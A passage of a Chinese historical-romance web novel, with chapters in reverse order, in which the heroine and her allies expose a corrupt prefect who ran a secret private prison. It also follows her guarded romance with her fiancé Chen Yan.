以前,宁衡光顾着吃喝玩乐了,觉得日子还不错。 现在坐在这代表一府最高权力的宝座上,他才明白,原来璐王府就是个纸糊的老虎。 对他这种天潢贵胄来说,这就是巨大的侮辱! 府兵们吓了个够呛,顿时举着兵器把曹崖和他的亲信们团团围了起来。 这时,一群人从外边涌入,正是刚从私牢里放出来的张庄村的村民。 堂内的村民看见自己的丈夫儿子、叔伯兄弟,顿时一起抱头痛哭起来。 叶绯霜盯着面如金纸的曹崖:“这就是你所谓的,把张庄村的村民都放了?” 曹崖肥厚的嘴唇不断颤抖,有种大势已去的绝望,竟是一个字都说不出来了。 他惊恐地看着叶绯霜,疑惑竟大过了害怕:“你……你到底是怎么找到他们的?” 就连他的妻妾、他的子女都不知道那个私牢的存在,这个郑二姑娘,到底是怎么知道的? “你的确做得很隐蔽了,把私牢建在地下,还在地面上栽了密林以作掩饰,就连入口也藏在了一座假山里。”叶绯霜说,“但是世上没有不透风的墙,曹崖,做过的恶、欠下的债,就总有要还的一天。” 宁衡下令,把知府曹崖以及张庄别院的大管家秦鲤收监,搜查曹府以及张庄别院,寻找这二人作恶的证据。 陈宴转身看向外边的百姓:“这几日,荥阳府衙昼夜不歇,但凡有冤情的,无论大小,尽可来递状子,王爷和世子定会还大家一个公道。” 宁衡瞪大一双眼:什么,他还? 他拿什么还? 宁衡鬼鬼祟祟地蹿到叶绯霜身边,缩着膀子小声问:“师父,我真不会办案啊!” 没有得到回答。 尽管斗笠上的轻纱把叶绯霜的面容挡得严严实实,可宁衡有种清晰的感觉——他师父在看陈宴。 的确。这一刻,叶绯霜仿佛看到了前世那个在刑部查案翻案、为民伸冤的铁面郎君。 前世的陈宴对她有诸多不好,但不可否认的是,他真的是个好官。 他入仕以后,翻旧案、修律例、改官制……桩桩件件,上不负天子,下无愧百姓。 她不知道她死后陈宴的青云之路走到了什么高度,想必是万人敬仰、流芳百世吧。 宁衡抬手在她面前晃了晃:“师父?” 叶绯霜回神,说:“你别怕,卢四公子会帮你。他父亲现在是督察院左都御史,他会查案。” 宁衡松了口气:“那就好。” 张庄村的村民还有外边围观的百姓们齐齐跪下,不断磕头,高喊青天大老爷。 宁衡有些心潮澎湃。 怪不得人人都想当官,原来受人拜服,是这样一种畅快的感觉! 叶绯霜准备和村民们一起回村里。 宁衡呆愣愣的:“师父,你还回别院干嘛啊?你都进城了,不直接回家?” 叶绯霜道:“我是被发配去别院静心思过的,没有祖母和嫡母的宽恕,我不能回郑府。” 陈宴不急不慢地拆穿她:“是不能还是不想,五姑娘自己心里清楚。” 卢季同给他传的那些简信可都在他抽屉里收着呢。 她在别院过得多么的乐不思蜀,想回郑府才怪了。 叶绯霜还是假惺惺地狡辩了一下:“当然是不能啊。要是能回郑府,谁愿意在别院呢?” 到了府衙门口,她刚准备上马,就被陈宴按住肩膀。 她踩着马蹬子晃了两下又掉了下来:“怎么了?” “你的伤还没有好完全,不宜骑马。”陈宴朝他那顶古朴又不失华丽的宽大马车扬了扬下颌,“坐车去。” 叶绯霜争取:“其实我已经好得差不多了。” 她本来就爱策马奔腾,在别院这段时间把她热情全都勾起来了。在床上躺了好几天,她有点憋得慌。 陈宴来扯她手里的缰绳,吐出不容置喙的两个字:“上车。” 叶绯霜把斗笠上的轻纱扬开,瞪着他,得到一句:“需要我抱你上去?” 叶绯霜打了个哆嗦,搓了搓膀子后退两步:“你有毒啊陈宴?” 陈宴当真朝她伸出手,叶绯霜电光火石间估摸了一下现在的自己是否打得过他,得出否的结论后,她麻利地转身上车了。 宁衡跟出来:“师父,等等我,咱一块儿走!” 陈宴拦住他,露出一抹温润儒雅的笑:“世子,荥阳百姓的冤情还等着您来处理呢。” 宁衡:“不是有卢四?” “他没有功名,不适宜坐高堂,得世子这样的皇权贵胄来震着。” 宁衡:“……哦,好像很有道理。” 见陈宴也准备上马车,他拽住陈宴:“不是,你为什么不在这儿坐镇啊?你陈三郎的名号不比我俩加起来都好使?” 陈宴干脆利落又不失礼数地拂开宁衡的手:“世子是天潢贵胄,卢四是左都御史之子,而我一介白身,实在不宜插手官场之事。” 宁衡挠了挠头:“哦?” 听起来很有道理,但总感觉不是这么回事。 陈宴鼓励地拍了拍宁衡的肩膀,转身进了马车。 宁衡疑惑,陈宴明明比他小一岁,为什么给人的感觉好像比他大一辈? 父王和母妃总说希望他当一个永远长不大的孩子,娘的,可能被他们盼中了,他真的长不大了。 宁衡回了府衙里,看着已经被百姓们团团围起来的卢季同,不禁打了个激灵。 卢季同挣扎着问:“世子,陈三呢?” “他走了啊。” 听宁衡转述完陈宴给出的理由,卢季同顿时气得青筋暴起:“胡扯,我还不知道他?他明明就是躲清静去了!还说得那么冠冕堂皇,混蛋!” 要是让陈宴知道卢季同的话,他一定会说冤枉。他不是躲清静,他有更重要的事情要弄清楚。 马车里,陈宴给叶绯霜倒了一杯茶。 叶绯霜警惕地看着这杯极品君山银针,有种不好的预感。 果然,等陈宴慢条斯理地喝完半杯茶,他开口了:“五姑娘,说说吧。” 叶绯霜明知故问:“说什么?” 陈宴思忖一瞬:“那就先说说,五姑娘是如何得知曹崖私牢的位置的?” 第49章 骂狗官 刑娘子和曹崖还没争出个所以然来,村民和别院大管家秦鲤就开始争了。 村民们说秦鲤欺男霸女,强征他们的地还不给银子。 秦鲤说银子早就给了,是这些村民贪得无厌,还想要。 欺男霸女绝不存在,他秦鲤是个老好人,村里那菩萨庙就是他捐钱修的。 甚至秦鲤还拿出了证据——一沓地契和一纸土地转让的文书。 地契上边加盖了张庄村村长的私印和秦鲤的私印,文书上边也明明白白写着土地转让的有关事宜,不光有双方私印,还有荥阳知府的官印。 宁衡不会断案,但这些东西还是能看明白的。张庄村的土地转让在手续上的确不存在问题,至于银钱,那就不好证明了。 这次来的村民都是些老人孩子和女人,说家里的男人两个多月前跟着村长来讨说法,就被知府大人关到了大牢里,再也没有回去。 曹崖说放屁,他早就把人放了。 村民说要是真放了,怎么可能几十个人一个都没回去。 曹崖说或许都去外边做工挣钱了吧,毕竟家里已经没地了。 太吵了,宁衡的脑壳就要炸了。 师父呢?他的师父呢? 他要怎么办? 宁衡久久不下论断,刑娘子真要绝望了。自打女儿没了之后,她的精神就不太好了。 现在的刑娘子失了智,扑过去要和曹崖同归于尽。 府兵们护着知府,村民们护着刑娘子,双方打成一片。 宁衡惊堂木都拍烂了也没用。 曹崖给身边的护卫使了个眼色,护卫心领神会,握紧手中的刀悄悄朝刑娘子靠过去。 护卫刚举刀,便飞来一颗石子打在他手背上,震得他半边膀子都麻了,长刀哐啷掉在了地上。 曹崖一怔,连忙抬头,一眼便看见了陈宴。 他身边站着个戴着斗笠的人,分不清是男是女,手里拿着一把弹弓。 让他眼珠子差点调出来的是那个大痦子! 他怎么被抓来了?这些人为什么会找到他的私牢? 曹崖双腿一软,差点摔地上。 陈宴开口:“刑娘子,这人你可认得?” 他的声音温润舒朗,声调不高,却压住了这满堂的喧闹。 刑娘子尚且不知道自己鬼门关走了一遭,看见那个大痦子时,瞪眼叫嚷起来:“是,就是他!就是他带人去抄了我的家!” 外头的百姓们议论纷纷,这人嘴边那颗大痦子太明显了,真应了刑娘子刚才说的。 大痦子还不承认,宁衡立刻让人打板子。几板子下去,大痦子就老实交代了,他去年的确带人去抄了刑娘子的家。 “何人指使你这么做的?”宁衡问。 “是曹大人。”大痦子说。 外边的百姓们瞬间炸了锅。 宁衡一喜,看向叶绯霜,用眼神询问是不是可以结案了? 叶绯霜却看向曹崖:“曹大人,你刚才你说你把张庄村村长他们都放走了,对吗?” 他们能把大痦子带来,肯定也把关在私牢里那些村民带来了。 曹崖自知反驳无用,只是问:“你是何人?” 叶绯霜轻笑:“曹大人还欠我一个人呢。我的随从来和曹大人求援,结果援兵没有求到,他人也一直没回去。现在,可否把我的随从还给我了?” 曹崖恍然:“你是郑二姑娘?” “是。” 曹崖、松了口气,既然是郑家人,那就好办了。 他顿时腿也不软了气也不虚了,打起哈哈来:“真是郑二姑娘派人来求援啊?我还以为是那小子假冒的呢,这才把人扣下了,误会,都是误会。” “那我在庇阳山遇袭之事,曹大人可查明白了?当晚我可就报官了。” 曹崖当然查明白了,是郑府的四夫人对那位郑五姑娘下手,连累了这位郑二姑娘。 可这是他们郑家自己的事情,怎么轮得到他一个外人说呢? 曹崖暗示:“等二姑娘您回了郑府,就一切都明白了。” 叶绯霜却和听不明白暗示似的:“我现在就要知道!” 曹崖一头冷汗,这里这么多百姓,让他怎么说?难道他要把世家大族内部的腌臜抖落出来让百信们看笑话吗? 郑老太太不得活剥了他! 曹崖擦了擦额角,只能道:“二姑娘,事情还没完全弄明白,您再通融几日。” “那你可真是个废物。”叶绯霜冷斥,“都过去这么久了,这种小事都查不明白,你怎么做的一方知府?怎么当的父母官?” 她上前一步:“去年京城,文远伯府的七姑娘遇刺,京兆尹周大人三个时辰便将凶手捉拿归案。 前年,博陵银库遭贼,博陵知府崔大人第二日一早便将已经逃出四百里的贼人诛杀。 大前年,弘农出了一起灭门案,佥都御史杨大人仅花半月时间,就逮回已经逃至岭南的凶手。” 她一边说一边往前,把曹崖逼得步步后退:“我说的这几位大人,和曹大人一样,都是四品官。有道是能力越大官职越大,可都是一样的四品官,曹大人的治理办事能力和那几位大人,怎么就差这么多呢?” “刺杀我的凶手找不到,手底下的人管不好,张庄村的案子结不了。曹崖,这一方知府的位置,你还有脸继续坐下去吗?你配吗?” 话落,整个府衙落针可闻。 刑娘子不哭了,村民们不闹了,百姓们也不嘀咕了,所有人全都怔怔地看着这位言辞犀利的年轻姑娘。 百姓们平时看衙门断案,都是下头人对着上方的知府老爷三拜九叩,这还是头一次看有人对父母官贴脸大骂,还是这么年轻的一位姑娘。 是啊,都是地方官,凭什么别的地方的百姓就是那么好的父母官,他们荥阳的知府就是个什么都查不明白的废物呢? “啧啧。”卢季同靠近陈宴,悄声说,“你家五姑娘,好勇。” 陈宴扬了扬唇角,满意他的这个前缀。 他盯着叶绯霜的背影,眸光漆黑,眼底却越来越亮。 忽然,刑娘子扯着嗓子叫了一声:“曹狗,你不配当我们父母官,滚下台!” 张庄村的村民立刻跟着喊起来:“曹狗,滚下台!” 外边的百姓们也跟着喊起来:“曹狗,滚下台!” 越来越多的人喊起来,民意沸反盈天。 曹崖面色煞白,脸上的肌肉抽搐着:“你们……你们……” 他踉跄后退,被一把椅子绊倒在地,拽住身边一位亲信低声说:“快,快去郑府报信,告诉郑老太太!说她家二姑娘要逼死我了!” 第48章 交给她 府衙门口的热闹并没有传到后边的牢狱里。 因为这个牢狱不是关押一般犯人的府牢,而是知府曹崖设的私牢。位置隐蔽,专门关押一些特殊的犯人。 一般进了这个牢里的,就出不去了,会悄无声息地死掉,然后在这世上销声匿迹。 几名狱卒还不知道他家知府大人已经被人从高座上踹下来了,还在大口大口吃酒喝肉。 有一间牢房很大,里边关了足足几十人,只是这些人现在已经被折磨得没了人形。 一名披头散发的少年扒着牢门哀求:“各位大哥,给口吃的吧,我爷爷真的不行了!” 一个嘴角长了颗大痦子的狱卒摇摇晃晃地走过去,把手里油腻腻的大鸡腿在少年面前晃了晃:“想要?” 少年急忙点头:“想,想!大哥,等我们出去了,我会报答你的!我把我家里的银子都给你!” 大痦子哈哈大笑起来,把鸡腿扔地上,狠狠踩了几脚,油滋滋的鸡腿顿时沾满血污和灰尘。 大痦子把脚往前一伸:“你把老子鞋底的油舔干净了,这块肉就给那死老头了。” 少年枯槁憔悴的脸上顿时涌上愤怒之色:“你侮辱人!” 大痦子把头发一撩,脸贴上栅栏:“侮辱你咋了?小瘪三,还记得老子是谁没?” 墙壁上火光摇曳,把他那张凶神恶煞的方脸和嘴角那颗大痦子照得清清楚楚。 少年认出了他:“原来是你!” 大痦子一哼:“去年在你们村,你敲爷一棍子的时候不是挺能耐?现在怎么和条狗似的?” 少年咬牙:“是你们先欺负我们村的刑婶子!你们不讲王法!” 大痦子嘿嘿地笑:“王法?我们大人就是这荥阳城的王法!” 牢房里边忽然传来一声虚弱的:“利子。” 张利急忙跑到牢房深处那个稻草搭起的床边,看着上边已经没了半条命的老者,哭喊:“爷爷!” 这位老者正是张庄村的村长。 他的老眼里流下浑浊的泪:“都是爷爷的错,爷爷不该不听旁人劝。利子,曾有人给我送来一封信,上边劝我把地给了秦鲤,不要去郑府闹。我没听,我实在咽不下这口气啊!他们凭什么把我们糊口的地拿走呢?我就想讨个说法啊!” 情绪一激动,村长就剧烈咳嗽起来,唾沫星子还混着血沫子。 张利急忙给村长顺气:“爷爷,你别急,会有办法的,一定会有办法的!” 村长吭哧吭哧地喘息:“是啊,我们拿什么斗呢?谁会给我们说法呢?我不该带你们去郑府啊……完了,全完了,出不去了……” 牢房里几十人,却无一人应声,隐隐有人哽咽起来,压抑得厉害。 “家里怎么办,都是些老幼妇人,又没了地,她们拿什么活命啊?”村长不断捶着身下的稻草,“活不了了,都活不了了!张庄没活路了!” 张利泣不成声:“爷爷,您坚持住,一定会有人给我们做主的。” 村长紧紧握着孙子的手,断断续续地说:“利子,你要活着出去,好好念书,考功名……当大官!当好官!你不能当曹崖,你下头也不能出第二个张庄……你要护好你下头的百……百……” 村长这句话终是没有说完。他双眼瞠得极大,带着无尽的悔和恨,死不瞑目。 张利握着爷爷枯瘦的手,嚎啕大哭。 外头的几名狱卒听见这动静,随口道:“死了?” 大痦子喝了口酒:“死呗,早死还少受罪呢!” 狱卒们都默认了这话。 反正那些村民没活路了,估计用不了多久,“张庄”这个村子就不会存在于世界上了。 忽然,大牢门口传来一阵脚步声,走进来一个高挑健瘦的年轻男子。 大痦子眯眼看着:“谁啊你?” 锦风举起一块令牌:“奉璐王之命,提审张庄村的村民。” 大痦子还在吃菜:“有知府大人命令没?” “璐王的令牌难道还比不上你们知府的命令?” “嘿,对不住了,这个牢啊,就认知府大人的命令。其它的,天皇老子来了也白搭!” 刚走进来的叶绯霜听见这嚣张的话,定睛一看:“呦,原来藏这儿了?怪不得外边的人都说没见过。” 陈宴也瞧见了大痦子,扬了扬眉梢,这不就是刑娘子说的那人? “锦风。”陈宴说,“把那个人带出来。” —— 明镜高悬的牌匾下,宁衡如坐针毡。 怎么办,他根本不会审案。一腔热血就坐上来了,结果骑虎难下。 下边的两拨人吵得他脑袋要炸了。 刑娘子不断哭诉:“我女儿就是被曹寒害死的!” 知府曹崖捂着被宁衡踹痛的肚子:“世子,我儿子不是那种人啊!不要听这妇人信口开河!” 刑娘子继续大哭:“我去年就来告过状,可他们根本不接我的状子,还派人把我家抄了,警告我不许再来告状!” 曹崖怒道:“污蔑,这简直就是污蔑!本官何曾派人抄过你的家?证据呢?” “证据就是去抄我家的那个人是你们的府兵!”刑娘子指着自己嘴角,“他这里有颗大痦子!” “我们府衙里根本没这号人啊!”曹崖对宁衡说,“世子,您要是不信,我就把府兵全都召集过来,就让这妇人好好找找,看到底有没有那号人!” 宁衡胡乱点头。 府兵们很快召集过来,满满当当挤了一堂,还有几排站到了外边。 曹崖瞪着刑娘子:“你好好找找,看看到底有没有你说的那人!要是找不到,你就是诬告朝廷命官,要砍头的!” 刑娘子来来回回找了好几遍,都没有看见那个让她恨之入骨的大痦子。 她哭得撕心裂肺,曹崖却得意洋洋。 “世子,这妇人就是污蔑!”曹崖对宁衡拱手,“这等刁民就该赶紧拖下去砍了!” 宁衡觉得屁股下的椅子好像长了钉子。 师父呢?他师父呢? 救命! 师父告诉他,他要是实在不会审,就保持沉默,一会儿看看刑娘子,一会儿看看曹崖,就行了。 他只需要拖着时间,其它的事情交给她。 可他已经看不了一点儿了,刑娘子哭得太惨看得他难受,曹崖长得太丑看得他反胃。 还要拖到什么时候! 宁衡内心在咆哮,脸上却一丝表情都没有。 他自己不知道,他的相貌配着他的气质,不说话的时候,是很吓人的。 曹崖都被他看得心虚了。但转而一想,大痦子和张庄村那些人都在他的私牢里,那位置那么隐蔽,不会有人找得到的。 后院,叶绯霜走得越来越快:“快点快点,我徒弟在呼唤我。” 陈宴把手中的斗笠扣她头上:“怎么着,他还会千里传音?” “什么千里传音,这叫师徒连心。” 陈宴轻哂:“我和你也是师徒,怎么不见你和我连心?” 叶绯霜:“……” 有毒。 第47章 伸民冤 陈宴思忖片刻:“或许是有点。” 叶绯霜才不相信。 前世的陈宴明明白白说过,他有意中人,虽然他的意中人被他亲手杀了。 叶绯霜暗自啧嘴,被他喜欢上的人可真倒霉。 陈宴好似看出了她的想法:“怎么,五姑娘不信?” 叶绯霜不想再和他谈论这个话题,直接躺下,拉起被子,闭眼送客。 陈宴起身,走到她床边,继续道:“不信也无妨,我可以证明给五姑娘看。” “别。陈公子的喜欢太珍贵了,我消受不起。” 好不容易活过来,可不想再死了。 叶绯霜眼也不睁:“我累了,陈公子可以走了。” 忽然觉得不对劲,叶绯霜一睁眼,陈宴正俯身朝她压来。 他要怎么证明? 全身血液顿时冲到了头顶,叶绯霜扬手便朝陈宴扇了过去。 陈宴一只手捏住她的手腕,另一只手拿起她枕边放着仙丹的瓷瓶:“我只是想把这个带走而已,这东西不吃为妙。” 叶绯霜:“……” 陈宴笑说:“五姑娘以为我要做什么?” 叶绯霜的脸彻底红了,气的。 —— 在宁衡的软磨硬泡下,叶绯霜收了这个徒弟。 既然已经熟悉了,还建立了师徒情谊,有些事就可以说了:“世子,我有一事相求。” 宁衡大手一挥:“师傅,你有事直说。千万不要和徒儿客气,徒儿会折寿的!” 叶绯霜让小桃带了个妇人进来。 这妇人一进来就砰砰磕头。 “这是张庄村的刑娘子。”叶绯霜给宁衡介绍,“她女儿七岁的时候,被这座别院的大管家秦鲤带走,献给了荥阳知府之子曹寒,而后被曹寒折辱致死。这样的人家,在张庄村里还有很多。” 宁衡一拍桌子:“这个曹寒,本世子早就知道他不是个好枣!” 陈宴凉凉地扫他一眼:“可我曾见过世子和曹寒一起宴饮,有道是人以群分,莫非世子也……” 宁衡忙道:“冤枉!师父,我和曹寒可不一样!我是好枣,真的!我可没害过人啊!” 叶绯霜点头:“知道你是个好的。” 陈宴:“呵。” 宁衡小声:“师父,我感觉陈三对我有意见。” “没有呢,他也知道你是好人。”叶绯霜说,“否则他根本不会去庇阳山救你们的。” 陈宴微扬唇角:“五姑娘倒是了解我。” 叶绯霜继续和宁衡说正事:“还有一事。就在上个月,我和我二姐姐遇到了歹徒,我二姐姐胆小,所以中秋那天,我就让人去找知府大人,想请他派些府兵来这里,保护我们。 结果我那随从一直都没回来,要是他那天成功带了府兵过来,发现我不在别院,就会早早上山找我,说不定王爷和世子早就脱险了,我也不会受重伤。” 宁衡大怒:“这对姓曹的父子,都不是东西!” 叶绯霜道:“曹知府不肯派兵过来,无非是不把我二姐姐放在眼里。可我二姐姐代表了成国公府,他此举是不是看不起国公府?他今天看不起国公府,明天是不是就要看不起璐王府?” 宁衡咬牙:“他们敢!” 陈宴闲闲道:“有何不敢?璐王一介贤王,不理政事,他们造次也无人管束。” 宁衡忽然有些惭愧。 毕竟各路藩王就藩,其中一个职责就是代表天家监督地方官吏。他们璐王府,好像真的一直在吃闲饭。 叶绯霜说:“世子,恕我直言,璐王府也该立立威了。” 宁衡想了想,用力点头:“师父,你说得对!” 于是第二天,荥阳城发生了一件大事。 张庄村的刑娘子敲响府衙门口的鸣冤鼓,状告张庄别院大管家秦鲤和知府之子曹寒草菅人命。 她身后还有张庄村的百余名村民,都在喊冤,说他们的兄弟父伯已经被知府曹崖扣押两个多月了,什么时候能放出来都不知道。 府衙门口顿时热闹起来,围观的百姓把大道挤得水泄不通。 知府曹崖立刻让府兵去驱散门口闹事的村民,想和往常一样暴力镇压。 正混乱着,一架金顶马车驶过,宁衡探出头来:“这是在闹什么!” 百姓们顿时奔到车边,跪地大喊:“世子,求您要为我们做主啊!” 端坐高堂的曹崖看见大步流星走进来的宁衡,眼皮子都跳了跳。 璐王府不是从来不管事吗?这是要干嘛? 曹崖笑面虎似的拱手:“世子殿下,这什么风把您……” 宁衡抬腿就是一踹:“滚下去吧你。” 宁衡撩袍坐在曹知府的位置上,惊堂木一拍:“来啊,把张庄村的村民带上来!” 叶绯霜混在人群中,看着上方的宁衡。别说,天潢贵胄的气质在那里,还真挺像回事的。 曹知府背后是秦氏,说不定还有郑老太太。 而在荥阳城,能牵制郑府的,也只有璐王府了。 璐王府出手打压,郑府便有可能不再保曹知府,百姓们才能得到公道。 看了一会儿热闹,叶绯霜悄悄溜去了府衙后院。 暗处的陈宴见她鬼鬼祟祟,于是跟了过去。 第46章 喜欢我? 这段时间,陈宴就一直在思考,叶绯霜对他的敌意到底是哪里来的。 虽然她明面上挑不出错处,但是她的疏离、躲避仿佛是她刻在骨子里的本能。 他一靠近,她就会自动筑起高墙来阻挡伤害。 但他又不曾伤害过她。 陈宴感觉自己遇到了最令人困惑的一道题。 叶绯霜笑得很真诚:“陈公子真是误会了,我和你无冤无仇,怎么会讨厌你呢?” 陈宴垂眸睨着她,锋锐的目光让叶绯霜的呼吸都慢了半拍。 他轻启薄唇:“撒谎。” 叶绯霜的手指扣住了袖口,指尖泛起了青白色。 她的确无法对“讨厌陈宴”这一行为作出合理解释,因为目前的陈宴,是完美到无可挑剔的形象。 前世的经历,是无论如何都不能说的。 叶绯霜深吸一口气:“陈公子,我不是讨厌你,我是讨厌这门婚约。” “嫁我不好吗?” 叶绯霜道:“陈公子,难道你没有发现,这桩婚约给我带来很多麻烦吗?” “为什么我嫡母和我六妹妹对我那么大敌意呢?因为她们觉得我鸠占鹊巢。” “为什么傅湘语非得让我在诗会上出丑呢?因为她觉得我配不上你。” “你的未婚妻这个名号,给我带来很多无妄之灾。以后不知道还会有多少。” “如果我想要这门婚约,那么即便被针对也是我活该的。可我并不想要这门婚约,还要承受它带给我的诸多磨难,凭什么呢?” “这个不难解决。”陈宴说,“你跟我回颍川,在陈家绝无人敢欺你。” “陈公子,我是说,我不需要这门婚约,也不需要你。” 明明是早就知道的事情,但是被她这么清楚明白地说出来,陈宴心里划过一抹难言的苦涩。 他惯来清润的眸光暗沉下来,因为背光而甚至显得有些阴鸷,但是他的嗓音依旧是清润平静的:“所以,你因为这桩婚约而讨厌我。” “你这么理解也行。”叶绯霜说,“你要是和我退了婚,我肯定不讨厌你了。” “那如果退了婚,你会喜欢我吗?” 叶绯霜毫不犹豫:“不会!” 陈宴沉沉盯着她:“你怎么知道不会?” 叶绯霜胡诌:“因为你不是我喜欢的类型。” 陈宴薄唇微抿:“你喜欢什么类型?” 叶绯霜索性放飞自我,开始胡说八道:“我喜欢高大威猛的。五官浓烈长得英气的。审美和我一致、喜欢亮丽颜色的。心思单纯,没有城府的。文化水平和我半斤八两的。对我言听计从的。粘人一点,会撒娇的。” 陈宴沉默片刻:“你是认真的吗?” 他怀疑她在故意气他,否则他怎么一条都对不上。 “当然认真。” “不存在这样的人。” 首先他就不信有男人会撒娇。 话音刚落,宁衡爽朗的声音就又传来:“郑五姑娘,我又回来啦!” 他穿着件墨绿色的锦袍,上边用金线勾着鸾鸟,阳光一照,整个人金光闪闪。 陈宴微眯起眼睛。 ……审美一致? 宁衡往床边一站,顿时把光线全都挡住了,投下一个巨大的黑影将叶绯霜完全笼罩了起来。 其实宁衡和陈宴身高差不多,但宽度差距明显,就显得宁衡大了两号。 ……高大威猛? 再一看,肤色偏深,五官也深邃,显得眼睛尤其的黑。 ……剑眉星目? 宁衡把手里的瓶子塞给叶绯霜,蹲在床边:“我爹让我把这瓶他刚炼好的仙丹给你拿来,这可是顶好东西,用过的都说好!!” ……心思单纯? 宁衡搓了搓手,满怀期待地问:“仙女,你吃了仙丹,明天就什么都好了!是不是就可以教我练枪了?” 叶绯霜:“我好像没答应要教你。” “答应我吧,仙女,求求你了。我很好教的,你让我怎么练我就怎么练。别看我是王府世子,我一点都不骄矜!仙女,我一定把你的教导当做圣旨,好不好嘛?” 陈宴:“……” 言听计从?爱撒娇? 呵。 陈晏顿时觉得他不顺眼得厉害。 宁衡感觉到脖子上传来一股凉意,像是有刀架了上来。 他仰头望着陈宴:“三郎,怎么了?干嘛这么看我?” 陈宴回他一个凉凉的淡笑。 宁衡虽然块头大,但并不妨碍陈宴拎着他的后脖领把他拖到门口、推出去、甩上门。 他回到叶绯霜床边,朝着外边抬了抬下颌,慢条斯理地问:“就这种的?你喜欢的?” 叶绯霜:“……” 感觉被鄙视了。 她发誓她刚才真的是按照陈宴的对立面信口胡说的,谁能想到还真能来个对的上号的。 关键是,说的时候感觉没什么问题。现在见到真人,就感觉放着陈宴不喜欢喜欢这种傻大个…… 显得她脑子不太好的样子。 但说出去的话泼出去的水,断没有收回来的道理。 “没错,我就喜欢这种。”叶绯霜索性一条路走到黑了。 陈宴撩袍坐进椅子里,不紧不慢地斟了一杯茶,递给叶绯霜。 叶绯霜说了半天话,也的确渴了,接过来喝了一大半。 剩下半杯递回去,陈宴直接喝完了。 叶绯霜瞪大眼:“……喂!” “怎么?” 叶绯霜惊得差点说不出话来:“你不是有洁癖?” “是。但有句话叫夫妻一体,没有自己嫌弃自己的道理。” “谁和你夫妻一体?”叶绯霜被这词激得起了一层鸡皮疙瘩,“陈宴,我已经把话和你说明白了,你不是我喜欢的类型。所以我们最好把婚退了,各自去寻找自己的幸福。” 陈宴吐出轻飘飘却不容反驳的两个字:“不退。” 叶绯霜太阳穴突突跳了跳,故意恶心他:“怎么着,陈宴,难道你喜欢上我了?” 第45章 说清楚 接下来的三天,叶绯霜都昏迷着。 一直到第四天,高热才彻底退下去,麻痹散的药劲儿也终于散完了。 叶绯霜睁开眼时,恍若以为自己还在前世的那所小院里。 过了好一会儿,脑子才重新转起来。她终于想起自己这是在哪儿,经历了什么。 稍微动了一下,身体像是被打碎重组了一样,没一个地方是不疼的。 正在窗边发呆的郑茜静见她醒了,急忙出去叫人,很快进来一个鸡皮鹤发的老大夫。 老大夫穿着一袭粗布葛衣,面容清癯又慈祥,身上染着淡淡的药香,让人一看就心生信任。 郑茜静介绍说:“五妹妹,这位是谭大夫,以前是御医,现在是璐王府的府医。谭大夫医术高超,这几天都是他照顾你的。” 谭大夫给叶绯霜号完脉,说她已无大碍。但经此一役劳心伤体,身体透支严重,必须好好将养一段时间才能恢复元气。 叶绯霜谢了大夫,又问:“王爷和世子还好吗?” 谭大夫还没回答,门口就传来一个清朗的嗓音:“我和父王都好。” 宁衡踏入房中,锦衣在日光下潋滟生辉,让整个房间都亮了。 宁衡今年十六岁,高大健硕,剑眉星目,相貌十分周正。眼睛里有种没有被世俗所污的清澈,一看就是顺风顺水、锦绣堆中长大的富家公子。 叶绯霜对他表示关心:“世子没有吓到吧?当时那个陷阱真挺吓人的。” 宁衡拍了拍胸口:“我还真有点吓着了。那个陷阱好深,里边还放着特别尖的竹刺。要不是姑娘关键时刻拉了我一把,我掉下去非死即残。” 叶绯霜也不居功,谦虚地说:“是王爷和世子吉人自有天相。” 刚过来的陈宴脚步一顿,想着这不是挺会说话的吗?怎么和他说话时就那样? 叶绯霜看见了陈宴,而且不知道是不是她的错觉,感觉他看着自己的眼神里好像有点幽怨? 宁衡真诚地说:“多亏了姑娘你和陈宴,要不是你们,我和父王最后怎么样还真不好说。你们的大恩大德,我们没齿难忘!” 叶绯霜依旧谦虚:“世子言重了。” 宁衡搓了搓手,期待地问:“那天晚上我都没认出你是个姑娘,你的棍子耍得太俊了!不过我父王说你练的是枪法?” 叶绯霜点头:“我练的是长枪,但我没有枪,只有一杆棍子。” 宁衡一拍大腿:“这好办啊,我送你一杆枪就是了!你想要什么枪?芦叶枪?梨花枪?虎头湛金枪?梅花亮银枪?还是都要?你只管说!” 陈宴清楚地看见宁衡每说出一个名字,叶绯霜的眼睛就亮一分。 看来她是真喜欢枪。 但他的未婚妻凭什么要由别的男人来送枪? 陈宴出声:“世子。” “呀,三郎来了。”宁衡起身,朝陈宴抱了抱拳。 他不是个自矜身份之人,对于厉害的人,他从来都很敬重,更何况对方还是颍川陈氏的世家子。 陈宴回了一礼:“王爷请世子过去。” “哦哦,行。”宁衡又转向叶绯霜,“姑娘想好要什么枪,就差人告诉我,我定给姑娘打一杆顶好的。” “不劳世子费心。”陈宴说,“她若是喜欢,我会给。” 宁衡笑得清澈又单纯:“你给你的,我给我的,不冲突,多多益善嘛。” 宁衡满脸崇拜:“姑娘,我送你枪之后,你可以教我练枪吗?” 这话让叶绯霜有些惊讶:“应该有很多人想做世子的师傅,世子犯不着和我学。” 宁衡摇头:“不行,他们的枪法太粗鲁了,没你的好看。” 他是个喜欢美好事物的人,不管干什么都要把“好看”排在第一位。 “姑娘,那天看你打那些人,我都看呆了,真的太好看了,你简直就是仙女……” “世子。”陈宴温和地打断了宁衡的话,轻轻拍了拍他背,“别让王爷等急了。” “那我先过去,等枪打好了,我们再说拜师的事。”宁衡依依不舍地出去了。 叶绯霜眨了眨眼,倒是觉得这是意外之喜。 她之前只想着和宁衡交个朋友,就能求他去护着清溪了。 要是能给堂堂璐王世子当师傅,这身份岂不是更好用了? 郑茜静也很有眼色地出去了,房间里只剩下了叶绯霜和陈宴。 陈宴问:“好些了吗?” “好多了。” 其实不太好,因为她在梦里又回到了悲惨的前世,把那些痛苦又经历了一遍,搞得她身心俱疲,脑袋也涨涨的。 尤其梦里的陈宴还是个混账,竟然还和她争论,还对自己做过的事死不承认! 叶绯霜晃了晃头。陈宴上前一步,手掌抚上她的后脑。 叶绯霜激灵了一下,浑身僵住,眼睛里满是戒备。 陈宴的手掌扣着她的后脑,拇指在她的太阳穴上轻柔又力道适中地揉按起来。 他把她的紧绷和防备看在眼里,却更加往前,腿贴住床沿,几乎和她挨到了一起。 叶绯霜的鼻尖蹭到他的衣袍,寸尺寸金的流云锦丝滑如冰。 雪中春信的香气萦绕在鼻端,将她包裹起来。 叶绯霜扣住他的手腕,想将他的手拿开:“可以了,陈公子。” 